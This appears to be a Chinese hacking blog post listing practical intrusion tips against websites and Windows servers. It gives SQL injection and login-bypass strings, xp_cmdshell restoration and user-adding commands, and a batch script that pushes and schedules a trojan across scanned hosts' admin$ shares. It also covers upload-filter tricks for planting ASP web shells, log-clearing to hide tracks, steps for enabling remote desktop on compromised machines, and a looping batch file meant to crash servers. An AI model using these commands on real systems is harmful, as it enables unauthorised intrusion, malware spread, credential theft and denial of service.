  12.软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等

  用法: 安装: instsrv.exe 服务名称 路径

  卸载: instsrv.exe 服务名称 REMOVE

  13.以动网为例数据库查找DV_LOG,在上面的查询的字段名里选l_content后面的关键字填上password2,找到的username2=%B7%E7%A4%CE%B0%D7%D2%C2&password2=01180017&username1=%B7%E7%A4%CE%B0%D7%D2%C2&Submit=%CC%ED+%BC%D3 password2=01180017就是他的登陆密码

  14.搜索的技巧 inurl:网址

  15.启航工作室WMS 5.0网站程序漏洞

  在baidu 搜索Powered by: SailingStudio Website Manage System 5.0 (SP1)

  利用动画看
http://soft.77169.com/62/20050530/6824.html

  16.很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测,也就是说,他会检测文件是不是有.jpg,那么我们要是把文件改成:ating.jpg.asp试试。。由于还是ASP结尾,所以木马不会变~

  17.天意商务系统网上依然有 有漏洞 网站具体的样式
http://www.wzgcc.org/

  工具下载www.hack6.com

  地址栏里,填上天意商务系统的网址就可以了,注意一定要是主页面

  18.SQL注入时工具---Internet选项---高级里找到显示友好的错误信息勾去掉

  不能注入时要第一时间想到%5c暴库

  19.这个dbinbd.asp文件插入后门的功能适用于文件名为.asp的所有access数据库不是动网论坛也一样可以使用的,后门隐蔽,几乎发现不了

  工具使用方法动画和所有文件

  
http://www.anquanwu.com/bbs/printpage.asp?BoardID=2&ID=811

  20.缺少xp_cmdshell时

  尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'

  假如恢复不成功,可以尝试直接加用户(针对开3389的)

  declare @o int

  exec sp_oacreate 'wscrīpt.shell',@o out

  exec sp_oamethod @o,'run',NULL,'cmd.exe /c net user ating ating /add' 再提到管理员

  21.批量种植木马.bat



  for /f %%i in (扫描地址.txt) do copy pc.exe %%iadmin$ 复制木马到扫描的计算机当中

  for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间

  扫描地址.txt里每个主机名一行 用\开头

  22.搜索 Powered by Discuz!4.0.0RC3 开放头像的可利用 工具地址
www.hack6.com

  23.DV7.1用还原数据功能 还原asa木马

  24.凡人网络购物系统V6.0 可以%5c暴库

  25.IPB2.0.2漏洞 构造语句

  $qpid=1) and 1=2 union select 1,2,3,4,5,6,7,8,9,10,member_login_key,12,13,14,15,16,17,18,19,1 from ibf_members where id=1 /* 暴管理员密码 想看动画到黑基里找 IPB<= 2.0.3论坛注入工具
www.hack6.com有下载

  26. 将工具传到邮箱 在下载上右击 复制快捷方式 拥有自己了的下载空间

  27.北京冲QB要宽带号跟绑定宽带的后4位电话,当你扫出北京款待号的密码必须是8位的密码,而且开头是6或8的才可以,因为北京的电话都是6根8开头的而且都是8位的,北京的区名海淀 东城 西城 门头沟 丰台 潮阳 宣武 通州 昌平,去
http://cnc.qq.com/bbn/

  28.搜索 企业网络办公系统 添'or''=' 登陆 在个人邮箱 上传asp木马

  29.本人原创 搜索"一点点星空驿站 留言本" 默认数据库是gbmdb.mdb 很多网站用这个留言本 但是用搜索引擎搜不到 可以给大家在入寝时多个思路

  30.在程序上传shell过程中,程序不允许包含标记符号的内容的文件上传,比如蓝屏最小 的asp木马,我们来把他的标签换一下: 保存为.asp,程序照样 执行.

  31.目录权限设置变态的话可以用一些方法(比如serv-u溢出)将此web用户提权 可访问全站目录挂马

  32.喜欢网页挂马的看看这篇总结文章吧

  
http://77169.com/News/hk/2005060611656.html

  33.搜索"images/admin" 或".tw/images/admin" 可以找到些台湾的数据库

  34.IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名.

  将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下.

  .cer 等后缀的文件夹下都可以运行任何后缀的asp木马

  35.telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP

  然后用#clear logg和#clear line vty *删除日志

  36.搜索关键字:"Copyright 2003-2004 动易网络" 后面地址改成upfile_soft.asp 这样的漏洞很多

  37.bbsxp的漏洞总结 Powered by BBSxp 5.15/Licence blog.asp中的对id 的过滤不严的漏洞 拿到管理员的前后台密码 工具:bbsxp完全版 cookies 欺骗 bbsxp 过滤了 asp 文件的上传 所以我们这里用 asa 来传马

  38.学会总结入侵思路
http://www.77169.com/News/hk/2005060811688.html

  39.电脑坏了省去重新安装系统的方法

  纯dos下执行,

  xp:copy C:WINDOWSrepair*.*? 到?c:windowssystem32config

  2k: copy C:winntrepair*.*? 到?c:winntsystem32config

  40.一般人设置啊拉QQ大盗的时候发信和收信都是同一个信箱,因此当我的机子中了此木马后没有立即杀掉进程,而是用内存编辑工具打开它的进程,查找smtp字样,就会找到它的信箱和密码了。只对1.5以前的管用.

  41.内网控制内网 用vidc 还要有一只肉鸡 动画看黑基的

  
http://soft.77169.com/62/20050608/6878.html

  42.有许多管理员用备份的日期做备份数据库的名字

  比如
http://www.hack6.com/bbs/databackup/20050601.mdb

  43.动网数据库oldusername=%B5%F0%B7%C0&username2=%B5%F0%B7%C0&password2=19841202&adduser=%B5%F0%B7%C0&id=12&Submit=%B8%FC+%D0%C2
不知道用户名(不是%B8%F0%B7%C0) 转化这个用他本身的页面

  
http://www.hack6.com/bbs/showerr.asp?BoardID=0&ErrCodes=10,11&action=%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2

  %CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2这句话意思是“填写登录信息”

  那么就把%CC%EE%D0%B4%B5%C7%C2%BC%D0%C5%CF%A2换成%B5%F0%B7%C0 可以看到用户名

  44.对付信息监控系统 木马必须是加密的 如net user用不了就用net1 user等等 我是大连的 大连这边主机用这方法好用 可以直接传加密的马 用用黑基tyrant的方法 上传一个cmd的aspshall 用nc连接自己的nc监听端口 在web目录下写个加ftp用户的txt 本地43958用nc提交 ftp到服务器加用户

  45.解决TCP/IP筛选 在注册表里有三处,分别是:



  HKEY_LOCAL_MACHINESYSTEMControlSet001ServicesTcpip

  HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

  HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  分别用

  regedit -e D:a.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  regedit -e D:b.reg HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesTcpip

  regedit -e D:c.reg HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTcpip

  命令来导出注册表项

  然后把三个文件里的EnableSecurityFilters"=dword:00000001,

  改成EnableSecurityFilters"=dword:00000000 再将以上三个文件分别用

  regedit -s D:a.reg regedit -s D:b.reg regedit -s D:c.reg 导入注册表即可

  46.使CHM木马无法在本地运行木马程序 将注册表"HKEY_CURRENT_U

  SERSoftwareMicrosoftWindowsCurrentVersionInternet SettingsZones"下的1004项的值由原来十进制的0改为十六进制的3。

  47.开3389的5种方法

  (1)打开记事本,编辑内容如下:

  echo [Components] > c:sql

  echo TSEnable = on >> c:sql

  sysocmgr /i:c:winntinfsysoc.inf /u:c:sql /q

  编辑好后存为BAT文件,上传至肉鸡,执行。

  (2) (对xp2000都有效) 脚本文件 本地开3389 工具:rots1.05

  下载地址:
www.netsill.com/rots.zip

  在命令行方式下使用windows自带的脚本宿主程序cscrīpt.exe调用脚本,例如:

  c:>cscrīpt ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [/r]

  如果要对本地使用,IP地址为127.0.0.1或者一个点(用.表示),用户名和密码都为空(用 ""表示)。

  (3)djshao正式版5.0

  解压djshao5.0.zip,用你的随便什么方法把把解压出来的djxyx*.**e上传到肉鸡的c:winnttemp下,然后 进入c:winnttemp目录执行djxyx*.**e解压缩文件,然后再执行解压缩出来的azzd.exe文件,等一会肉鸡 会自动重启!重启后会出现终端服务

  (4)下载DameWare NT Utilities 3.66.0.0 注册版

  地址
www.netsill.com/dwmrcw36600.zip

  安装注册完毕后输入对方IP用户名密码,等待出现是否安装的对话框点是。

  复制启动后出现对方桌面。

  在对方桌面进入控制面版,点添加或删除程序。进入后点添加/删除windows组件,找到终端服务,点际进入 后在启动终端服务上打上勾。确定自动提示重起,重起后OK

  (5)大家最常用的 3389.exe 下载地址
www.hack6.com 把程序上传到肉鸡运行后重启既可

  48.QQ上得到别人的IP

  一般跟别人聊天 如果是对方先对你说话 那么她的IP显示出来的概率就大

  当然如果是我们找对方 可以先跟她说发过去消息之后 然后关闭窗口等待她的回复

  还可以用天网防火墙选择上UDP数据保检测,即可拦截到对方ip

  49.挂马js代码document.write('');保存到js页面里 可让所有页面挂马

  50.让服务器重启

  写个bat死循环:

  @echo off

  :loop1

  cls

  start cmd.exe

  goto loop1

  保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启

 

 

 

 

 

---------------------------------------------------
核弹 / KernBombe (音译:卡邦) 系统

TAG: Linux KernBombe

 

评分:0

我来说两句

显示全部

:loveliness: :handshake :victory: :funk: :time: :kiss: :call: :hug: :lol :'( :Q :L ;P :$ :P :o :@ :D :( :)

日历

« 2008-09-07  
 123456
78910111213
14151617181920
21222324252627
282930    

数据统计

  • 访问量: 90016
  • 日志数: 252
  • 图片数: 1
  • 书签数: 7
  • 建立时间: 2007-03-30
  • 更新时间: 2008-07-07

RSS订阅

Open Toolbar